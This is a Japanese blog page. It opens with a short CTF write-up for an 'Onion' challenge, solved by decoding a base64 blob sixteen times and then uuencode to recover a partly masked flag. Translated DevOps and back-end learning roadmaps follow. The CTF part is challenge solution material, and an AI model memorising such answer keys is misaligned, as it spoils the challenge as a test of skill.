CmIzZERhelZIVjFoc1ZHRXlVbkVLVlRCV2QxZEdVbFphUms1WFVteFdNMVl5ZERCaE1VbDRVMnRr
VldKR2NISldSM2hoVjFaR2RGSnMKWkdsWFJVcE5Wa1pXWVdNeFpFZFViR3hwVW1zMVdWVnFTbTlX
YkZweFVXMTBWZ3BOVjFKWVdXdG9VMkV4VGtoVmJGRkxWbTB3ZUU1RwpaSE5oTTJSWFlsaE9URlpx
UW1GVE1sSklWV3RXVldFeFNuQlZha1pLWkRGYVJWSnRSbWhOVmtwNlZUSjBZVmRIUm5OVGJHaGFD
bUpHClNrZFVWVnBYVmxaS2RHUkdUbXROTUVwYVYxY3hlazFYVGxkV2JrNW9VbnBzV0ZSV1pEUmxa
M0JhVmxkTk1WWnRlRXRrVmtaeVlVWmsKVG1Kc1JqTlhWbU40VlcxV2MxSnVUbWdLVW01Q2IxUlhl
RXRWVmxweVZtMUdhR1F6UWxsVmFrWkxVMVpSZUZkcmRHaFdiSEI2V1RCUwpZVll5Um5KaE0yaFdZ
V3RhV0ZwRldrOWpNV1J6WVVkc1UwMXRhRzlEYkdSWVpFZEdhd3BOYTFwSVZqSTFSMVV5U2taT1dF
WlZWbTFTClZGUlZXbGRrUjFaSVVteGFUbUV6UWt0V1ZscHZZVEZrUjFkdVRsaGlWMmhGV1d0YVIw
NUdXWGhoUjNSVllrWndXVlpIZERSV01rWnkKQ21JelpFUmhlbFpJV1d0YWExWkhSWGhqUm10TFYx
ZDRhMkl4WkVkVmJGcGhVbXMxVjFWdGVHRk5SbXQ2WTBaa1dGSnJiRE5aTUZacgpWbGRLUjJOSVNs
ZFNNMmhvVmpGYVIyTnRVa2NLV2tkc1YxSldiRFpXYkdoM1VXMVdSMVJyWkZSaVIzaHZWV3BDWVZa
R1duRlRiVGxYCllrZFNXVnBGWkRCVWQzQlRZa2QzTUZkWGRHOVZNa1owVm01S1dHSkdSa3hXYlRC
M1pVVTFTQXBXYms1WVlteEtVRlpxVGs5VVJscHgKVVcxR1ZFMXJNVFZWTW5SWFZqSkZlRk51UWxk
aVdGSXpWVEo0WVZKV1NuUlNiV2hPVm10d05sWlVTakJaVm1SSFdrVm9hRkp0YUdGRApiVVY1Q2xW
ck9XRldWbkJ5Vm1wR2EyUkhVa2hqUjNST1RVVndZVll4V2xOU01sRjRXa1prYVZKc1dsWlphMVV4
WWpGV2RHVkhSbXhWCldFSllXV3hTUjFOR2JGaE5WWFJVVWpGSk1sVXllR0VLWVZaa1NHRkliRmhX
YlU0MFZsY3hWMk14U25WVWJXZExWVzAxUTJJeFVsaGwKUlhSV1ZteHdlVlp0TVVkaFIxRjZVV3hz
Vm1GcldreFZNVnBYWkVkV1NHUkdWbWxTV0VKSlZtcEtNQXBqTVZsNVVtNUthV1ZyU21GWgpWM1Iz
VTBac05sSnJPV3BOYTFwSVZqSXhjMVV3TVZaalJtaEVZa1p3TUZrd1ZUVldVWEJPVWtaYVNWWnNZ
ekZUTVdSSVUydHNVbUpyCk5WaFphMXBMQ2xkR1duRlNiRXBzVW0xU01GcEZXbXRVYkVwR1YydDBW
MVp0VVhkYVJFWmFaVlpPY21GR1dsZFNWWEJHVjFkNFYxWXcKTlVkWFdHaG9Vak5TVmxsclduZFhW
bHBJWkVSU1YwMXJXbmtLUTIxSmVscEZVbWhsYkZwSlZtcEdiMkV4VW5OYVJXUllZbFJvVEZacwpa
SGRUTWtsNFdrVmtWbUpHY0ZsWmEyUlRWVVpXZEdWSVpHeGlSbXcxV2tWa01HRkZNVlppUkZKV1RX
NVNjZ3BXYkdSTFVqSk9TVk5zCmNGZGlTRUpSVmxjeE5GUXlUblJWYTJOTFYydGtjMWRHU2xaalJU
VlhZVEZ3V0ZsVVJrOWtSbHB5V2taa2FWSXphSFpXVjNCRFdWWmEKVjFadVRtaFNWVFZYQ2xWdGVI
ZFdiRlpZVFZSQ1ZXUXpRbFJaYTJRelRVWmtXR1JIT1ZSTlZtdzFWV3hvZDFadFNrZFNhM2hYWWxS
QwpNMXBWVlRGVFFYQlhZa2RTV1ZsdGVFdFZSbHB6VlcwNVZWSnNjSGtLVmxkMGExWkZNWEpOVkZK
WVlUSm9TRlpYTVVabFJrNTFVV3hrCmFWSnJjRmxXVkVaaFdWZE9jMk5GVmxaaVYyaFBWbTEwZDA1
c1duRlRhbEpwVFZaYVNGWkhkRzlpUmtwMFlVZEdSQXBpVlhCSVEyeE8KY2xwR1ZsZFdia0paVm0x
NFlWTXlUWGxVYTJoc1VteHdXVlZzVm5kV01WbDRXa1JDV2xadGVGaFdNblJyWVZaS2MxZHNXbHBp
UmtwNgpWakZhVjJSSFZrWmtSbWhTQ2xkRlNsbFdSbVIzVmpKT2MxZHVTbGhoTTFKeVZXcEdTazFz
VlhsbFIwVkxXVlphYTFJeFRuVmlSbWhYCllsVTBNRlpzWTNoV01rMTRVMjVXVm1KWFpFeFdWekUw
WkRKSmVHSkdWbFFLVmtaYVQxUldXbmRsVmxwMFRWVmtXR0pHV2xwVlYzaHoKVm0xS1IxTnJhRmRp
V0doWVZqQlZlRlpXUm5OV2JXeFRZbXRHTkZac1dtdE9RWEJxVFZac05WVnROVXRoVlRCNVZXMUdW
d3BoTVZwbwpXVlZhZDFKc1pISmtSbWhYVFVoQ1NWWnFTWGhqTWtaR1RWWnNVbUpIYUVWWmExcDNU
VVpTVm1GSE9WZGFNMEpQVm0wMVExTldXbkZTCmJUbHBUVmRTU1ZVeWVHRlhSMHBIQ2xkc1pGcFdN
MUpvUTJ4U1IxWllhRmhpUjFKeVZXcEdZVk5XVm5SbFIwWlZZbFZXTmxWWGREQlcKTVZwMFZXcE9X
RlpzY0dGYVZscExaRlpPZEdGRk5VNWlWMmhIVmpGa01GWnRWa1lLVGxWa1dGZEhlSE5WYWs1VFYx
WldjVkZzWkU5UwpiWGg1Vm0xd1UxWXdNVmRqUldOTFVUSXhTbVZzY0VaVmJXaHNZa1p3U2xadGNF
ZGlNazE0Vmxob1lWSlhhRzlWTUZaWFZFWmFjd3BhClNHUlVUV3RzTkZZeGFHOWhWa3AwWVVoS1Zt
RnJTbWhaTVZwelkyeHdSVlJyTldsU2JHOTNWa2Q0YTAxR1dYaFRia3BwVWtaS1YxUlgKTlZOaloz
QlhZa2RTVEZWcVNrOVRWazV6Q2xwRk5WTmlhMHBPVm0wd2QyVkdVWGhUYmxKV1lUSk9URll5ZEd0
ak1WbDRVMnhrYVZKRwpjRmhaYTFwTFZFWndXRTFXWkZOTlYxSmFXVlZhYjJGV1NYcGhTR1JYVm5w
Rk1GVjZTa29LWlVaV2MyRkhlRk5YUmtwWlEyeHNjbHBHClRsaFdia0pIVjJ0U1EyRkdWbGxSYXps
WFlsUkZlbFJWV210WFIxSklUMVphVG1FeFdUQldhMlF3WWpGYWRGTnJaRk5oTTJoWVdXeFMKUXdw
Tk1YQldWbFJHVkZGWVFsaFpiWE14VjFac2RHVkZkRlpTYkhCNFZrZHpOVlpXU25OalJFRkxWMnRX
YTFJeFpITlhXR1JPVmtaSwpWMVJYY0ZkVFJscDBUVlZhYkZKck5URlZWM2hoQ21GV1pFaGFNM0JY
VWpOb2FGZFdXa3RXTVU1MVZXeE9hVll5YUZCV2JURXdaREExCmMxZHVSbFJoYkVwd1ZGWmFZVk5H
V2toa1J6bHBVbXR3TUZsVlpFZFNRWEJwVmxoQ1NWRXllRThLWTJ4d1IxWnNaRmRpYTBwMlZtMHgK
TkZsV1RYbFVXR3hWWVRKb2MxVnRlSGRYVmxaelZtNWtWMkpHYkRSWFZFNXZWR3hKZUZKcVZsZFNN
Mmh5Vm1wS1MyTnJOVmhQVmxwcApZbXRLTmdwV01WcGhXVmRTUms1V1dsVmlSMmhYUTJ4a1JsTnRP
VmRXTTJoeVZsUkdUMUl5U2tkaFJUVlhWMFpLVmxadE1UQlpWMVpYCldraEtXR0pVYUV4WFZsWlda
VVpaZVZScmJHbFNiVkp3Q2xWdGRIZFVWbHB6V1ROb1YwMXJNVFJWTWpWWFZsZEtXR1JGZUZkV2Vr
RjQKVlZSS1NtVkdWbk5oUjNkTFZXeG9VMVl4V25SbFNHUnNWbXh3TUZSV1ZtdGhSa2w0VW1wYVZs
WXphSG9LVm0weFIyTnNaSFJoUmxwTwpVbTVDYUZkc1dsWmxSbHBYVW01T1YySlhlRmhXTUZaTFUx
WmFkR05GWkZaa00wSlRWRlphYzA1V1ZuUk9WWFJvVmxSQ05WWlhlRzlYClozQlhUVEZLYndwV2JY
QkhaREZaZUZwSVNsQldNMEp3Vm14YWQxTldXbkZUV0docVRWWldOVlV5TlV0V1IwcElZVVZXV21F
eGNETlUKVlZweVpERmFWVlpzWkdGTk1FcFFWbGQwVjFOck1VZGFSbFpTQ21KVlduQlVWM1IzVTBa
VmVVNVdUbGRpVlhCSlEyMVdSMXBHY0ZkTgpNVXB2VVRJeFIxSXhXbGxhUm1ocFYwWktlRmRYZEd0
Vk1sWnpXa2hLWVZKNmJGaFVWM1JYVG14V1dFMVZaRmNLVFZad01GWkhjRk5XCmJVWnlWMjFHWVZa
c2NFeFdNV1JMVWpGa2MyRkdUazVXV0VKSVZtcEdZV0l5VVhoWFdHZExWa2QwYTFZeFpFaGxTRXBX
WVdzMVZGbHEKUm5OamJGcDFXa1pTVXdwaVdHZzFWbTB4ZDFVeFdYZE5WbHBxVTBjNVRGVlVTalJo
TWsxNFZtNUtWbUpYZUZoV2ExWldaREZhYzFWcgpkRTVTTUZZMVZXMDFUMVpIUlhsVmJrWldZa1pL
ZGxaRldtRmpkM0JoQ2xKRlNtOVVWVkpYVTBaVmVXVkhkRnBXYXpWSVZqSTFRMVpXCldrWmpSbEpY
Vm14d2FGbDZSbUZXVmtwMFpFWmthVkp1UWtwV2JYaGhZakpGZUZkcmFGWlhSM2hSVld0a05GSlda
SFVLWWpOa1VGVlkKUWtWWGJtOTNUMVZPYmxCVU1Fc0sK

うーん
パッと見た感じ、Base64エンコードらしい。
そしてタイトルは「Onion」なので、繰り返してエンコードしているっぽいね。
とりあえず

Base64デコード → Base64再デコード → Base64再々デコード → ...

16回やってみた結果、下記のやつをもらった

begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU
 
end

ん?666??なに?What?
そしてGoogle先生に聞いてみると → 知ってるようで知らないPythonの特殊コーデック - Qiita
uuencodeらしいっす

>>> print "hello".encode("uu")
begin 666 <data>
%:&5L;&\ 

end

なる。。。聞いたこともなかった。。。
っていうか、これって何かしら意味あるんが??
まぁ、とりあえずネットでdecodeを探すと、
http://uuencode.online-domain-tools.com/

FLAG_FeLgP3SiAWeXXXXXX

フラグゲット!!!

【訳】2018年のデキるDevOpsエンジニアになれる為のロードマップ

はじめに

snowdays.hatenablog.comの続き。
今回の場合は、コメントいっさいないため、自分の備考はいっぱい追加するしかない。
客観性はいまいちのでご了承ください。

言いたいこと

DevOpsは開発文化の一つとの認識なので、タイトルを見た瞬間「DevOpsエンジニア」ってなに?と一瞬で思った。
よくよく考えてみたら、作成者「バックエンド開発者は、運用のことも積極的に勉強しよう!」を言いたかったはずだ。
ある提出されたPRを読んで見たら、ほぼ同じ意見が出されていた。

but I need to say I have some major concerns about this Back-end -> DevOps step. In my opinion you also need an additional part about "Ops", as there is much more than just run an operating system. You are also required to understand and manage things like backups, storage technologies, networking etc.

↓↓↓↓↓↓↓↓↓↓↓

自分は「バックエンド→DevOps」のステップに対して、ちょっと個人意見を持っている。個人的に、「DevOps」より、「Ops」パートとして存在するべきでは?
運用は、OSをメンテすることだけでなく、バックアップやストレージ技術やネットワークの知識を理解しなければならない。

参考図

f:id:zhangnan198711:20180404231852p:plain

さて、ルートの訳に始めよう。

Station 1

(訳者注:運用保守経験ない方は、下記の知識を勉強しよう)

Operating System

(役者注:Windows Serverもあるが、サーバーのOSはほとんど *nix 系である。UnixLinuxそれぞれ分かれているが、Linuxを勉強しよう。
Linux製品はたくさんあるが、RHELの無料版であるCentOSから始めるのはいいかと)

Cloud

(訳者注:Cloudサービスは広がって使われるサービスである。AWSGCPなどの無料のサービスを利用して、Cloud体験しよう)

  • Cloud Foundry
  • Rackspace
  • AWS
  • Heroku
  • Azure
  • Google Cloud Platform
  • Digitalocean

Automation

(訳者注:保守運用の効率を向上する為、現場と合わせているツールを選んで、どんどん自動化を導入しよう)

  • Terraform
  • CF Engine
  • Packer
  • SaltStack
  • Chef
  • Ansible
  • Puppet
  • Powershell
  • AWS Cloud Formation

CI / CD

(訳者注:高頻度リリースをサポートする為、CI(Continuous Integration) / CD (Continuous Distribution)ツールは必須の為、代表的なツールとして、Jenkinsを使ってみよう)

  • Jenkins
  • Travis
  • CircleCI
  • Drone
  • Bamboo

Station 2

(訳者注:そして下記のフィールドに手を出そう)

Monitoring and Alerting

(訳者注:サイトのサービスレベルと安定性を監視する為、監視ツールがいる。現場は必ずどっちを使っているだろう。こういうツールを触ってみよう)

  • New Relic
  • Nagios
  • AppDynamics
  • PagerDuty
  • Munin
  • Graphite
  • Prometheus
  • Zabbix

Log Management & Analysis

(訳者注:ログの集計 / 管理は、データ蓄積や監査に一番大事である。下記のサービスの概要を知ろう)

  • Papertrail
  • ELK
  • Graylog
  • Splunk

Containers

(訳者注:コンテナ仮想化技術は、最近大ヒートとなっている。スケールインやスケールアウトや開発環境構築の効率を向上できる為、代表的な製品のDockerの動作原理や使い方を勉強しよう)

  • Docker
  • rkt
  • LXC

Cluster Managers

(訳者注:コンテナを本番環境で大規模利用する場合、一括管理・設定は必須となる。そこで下記のツールを軽く理解しよう。複数製品あるが、最近大人気のKubernetesから勉強しよう)

  • Kubernetes
  • Mesosphere
  • Mesos
  • Docker Swarm
  • Nomad

Web Servers

(役者注:Webサーバーはサービスのスタートポイント、サービスの門番みたいな存在である。そこで、Webサーバーを勉強しよう。相対的に新しいNginxから始めよう。ただ他の製品との相違点も理解しよう)

ターミナル作業を好きになろう

(訳者注:サーバーで作業を行う際、GUIなしでコマンドライン作業は普通。「運用能力は、ターミナル操作能力である」を言っても過言ではないため、ターミナル作業を身につけよう)

把握すべきコマンド
  • テキスト操作
    • awk
    • sed
    • grep
    • sort
    • uniq
    • cat
    • cut
    • echo
    • fmt
    • tr
    • nl
    • egrep
    • fgrep
    • wc
    • など
  • プロセス監視
    • ps
    • top
    • htop
    • atop
    • など
  • システム性能
    • nmon
    • iostat
    • sar
    • vmstat
    • など
  • ネットワーク

Keep on Going...

(訳者注:下記の知識も必須なので、勉強しよう)

  • ネットワークOSIモデル、TCP/IP/UP、良く使われるポート
  • それぞれファイスシステムを分かろう(訳者注:NTFS / FAT32 / EXT4 / EXT3)
  • リバースプロキシを設定してみよう (Nginx...)
  • キャッシュイングサーバーを設定しよう (Squid、Nginx ...)
  • ロードバランサーを設定してみよう (HAProxy、Nginx...)
  • ファイアウォールを設定してみよう
  • 暗号化通信を知ろう(TLSSSLHTTPS、 SCP、SSH、SFTP)
  • レスキュー・障害対応・原因分析を体験しよう(訳者注:障害発生しないサービスは存在しない)

【訳】2018年のデキるバックエンドエンジニアになれる為のロードマップ

初めに

最近は、「エンジニアロードマップ」というGithubプロジェクトはかなり人気集めている。
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
github.com

日本の同僚たちにも共有したが、やはり英語という壁が強そうので、なかなか伝わっていないところあると思う。
そこで、「和訳しよう」というアイデアが出た。
中国人なのになんで日本語へ訳するのかというツッコミは勘弁してください
まだやる気あるうちに、早めに終わらせたい。

FEルートはすでにQiita記事あるため飛ばす。
2018年の最先端フロントエンドエンジニアになろう - Qiita


目的

このロードマップは、「FE/BE/DevOpsを勉強したいが、どうすれば良いのかはわからない人」に対して、「こんな感じで勉強すればいい」というルートを示すマップである。
すでに勉強ルートある方にも、代替案として参考できる。

Disclaimer

このロードマップの目的は、大枠についてのアイデアを提供し、次に学ぶべき技術について混乱しないように、トレンディな技術について道標を示すことです。
ひとつのツールがある作業に適していても、他の作業には適していない可能性があること、そして最新技術が必ずしもよりよいものではないことがあることを覚えておく必要があります。

参考図

f:id:zhangnan198711:20180403223239p:plain

さて、ルートの訳に始めよう。

バックエンドエンジニアのロードマップ

1.まずは一つ言語をピックアップしよう

バックエンド開発経験なし初心者にとって、スクリプト型言語から着手したほうがいいかと。特に入門しやすいNode.js 又は PHP はオススメ。
すでにスクリプト言語で開発している方は、他のスクリプト型言語ではなく、GolangとかRustとかClojureに着目しよう。スクリプト型言語と違う体験ができるはず。

2.学習した内容を練習しよう

選定言語を使って実践し、コマンドライン程度のアプリケーションを作ろう。

  • ls などのコマンドと同様な機能を作ろう(by 訳者:アクセスして、コンソルへlsコマンドと同じような内容を出力)
  • /r/programming のURLへアクセスしたら、reddit記事をグレップして保存する機能
  • JSONフォーマットで、あるディレクトリ構造を出力する機能
  • 上記のJSONを読み込んで、同じディレクトリ構造を再現(作成)する

とりあえず毎日の手動作業を考えて、自動化させるアプリケーションを作ろう

3.パッケージマネジャーを勉強しよう

選定言語のパッケージマネジャーを勉強しよう。
例えば

PHP
composer
Node.js
NPM/yarn
Python
pip
Ruby
gems
Java
maven/gradle (訳者追加)
なんでパッケージマネジャーを勉強すべき?

パッケージマネジャーは、外部ライブラリーを利用する際依存関係を管理するもの。
そして自分の成果物(パッケージなど)をデプロイする際にも必要。

4.開発標準とベストプラクティスを知ろう

全ての言語は、自分の標準とベストプラクティスがあるはずので、それを勉強しよう。
例えば、PHPなら、PHP-FIGPSRsある。
Node.JSなら色んなコミュニティから定義されたベストプラクティスある。

(訳者注) ベストプラクティスって一体なに?

ベストプラクティスは、「最優良事例」という意味合いで、「品質を担保できる為の開発ガイドライン」として理解できるかも。
例:

  • Java開発のベストプラクティス例1:性能問題で、文字列連結する際に 「+」演算子や「StringBuffer」ではなく、「StringBuilder」利用しましょう
  • Java開発のベストプラクティス例2:可読性の為に、マジックナンバーの利用を控えて、定数やENUMとして定義しましょう
セキュリティーを注意

セキュリティー関連のベストプラクティスは必ず読んでください。
OWASPの上位セキュリティー脅威を読んで、選んだ言語での対策方法を理解しよう。

5.成果物として、パッケージとライブラリーを作成して公開しよう

学んだ開発標準とベストプラクティスを意識した上で、パッケージとライブラリーを作成して、他人にも利用できる為に公開しよう。

OSSプロジェクトへ貢献しよう

Github上のプロジェクトを検索し、適当なOSSプロジェクトを選んでPRを出して改善してみよう。
下記の切り口は考えられる

  • 学んだベストプラクティスを利用し、リファクタリングを行う
  • 既存issueを確認して解決する
  • 新機能を追加する

6.テスト技法を勉強しよう

テストは色んな種類あるが、とりあえず単体と結合テストの考え方から始めよう。
そしてmockやstubなどのテスト用語を理解しよう。

選定した言語により、目的がそれぞれ異なるテストフレームワークは複数ある。Googleした上で、自分のニーズに一番合わせるものを選ぼう。

PHP
PHPUnit / PHPSpec / Codecpetion
Node.js
Mocha / Chai / Sinon / Mockery / Ava / Jasmine

戦争を起こさせたくないため、他の言語のテストフレームワークは自分で調べた上で選んでください。
(訳者注:Javaなら、JUnitTestNGはメイン)

7.ステップ5にて作成した成果物に対して、ユニットテストを書こう

バレージ率の計算を勉強しよう。

8.関係型データベースを学ぼう

下記のように複数データベース製品あるが、一つを分かるようになったら、他の製品も勉強しやすくなる。
オススメとして、MySQL (訳者注:無料/Lightwave/インストールしやすいため)を選らぼう。
もちろん、他の製品との相違点や利用シナリオも勉強しよう。

9.DBを利用して練習しよう!

今までに学んだ知識を全て利用し、簡単なアプリケーションを作ろう!
新規登録とログインとCRUD程度の機能は必須だろう。
例えば、下記の機能あるブログを作成しよう。

  • 誰でも新規登録できる
  • 新規登録と伴い、公開するプロファイルページも作成される
  • 記事の新規投稿 / 編集 / 削除 / 下書き / 公開機能

10.フレームワークを学ぼう

注意:選定言語により、フレームワーク不要な場合もある。
例:

PHP
Laravel / Symfony / Slim / Lumen
Node.js
Express.js / Hapi.js
Golang
フレームワークなしのはマシ

11.フレームワークを利用して、ステップ9で作成したアプリケーションを作り直そう

12.NoSQLデータベースを学ぼう

まずは、「NoSQLとは」を理解してください。
そして、「関係型データベースとの相違点」と「なぜNoSQLは必要か」を理解しよう。
さらに、NoSQLの複数製品の異同点を調べた上で、とりあえずMongoDBで進めよう。

  • MongoDB
  • RethinkDB
  • Cassandra
  • Couchbase

13.キャッシュイングを勉強しよう

下記のどっちかを利用し、アプリケーション層のキャッシュイング仕組みを勉強しよう。

ステップ11にて作成したアプリケーションに、キャッシュイングを適用してみよう。

14.RESTful APIを作成しよう

まずはRESTということを理解し、RESTful APIの作成方法を勉強しよう。
Roy Fieldingが作成したRESTfulに関する論文も読んでください。
(訳者注:英語読めるなら読んでいいかと・・・読めないと、日本語の資料を読んでくださいね)

15.認証/認可の仕組みを知ろう

下記のやり方の相違点と実装方法を勉強しよう。

  • OAuth
  • Basic Authentication
  • Token Authentication
  • JWT
  • OpenID

16.メッセージブローカを知ろう

メッセージブローカについて勉強し、「なぜ(訳者注:なぜメッセージブローカは必要か、どのような場面は必要か)」
色んな製品あるが、下記の二つがオススメ。

  • RabbitMQ (一番推し)
  • Kafka

17.検索エンジンを勉強しよう

アプリケーションの負荷が高くなると、簡単なクエリでもDBへの高負荷になり得る。
その場合、検索エンジンを利用しなければならない。

18.Dockerを勉強しよう

19.Webサーバーの基礎を知ろう

複数製品ある為、それぞれのメリデメを理解しよう。

20.Webソケットの利用方法を勉強しよう

21.GraphQLを知ろう

正直いうとこれは非必須だが、気軽に了解してみて、「新REST」と期待される理由を理解しよう。

22.GraphQLデータベースをさらっとみよう

非必須だが、「GraphQLとは」レベルで分かるようになれば。

23.ステップ1−22メンションしていないの雑

  • Profiling
  • Static Analysis
  • DDD
  • SOAP
  • Go Figure

Keep Exploring !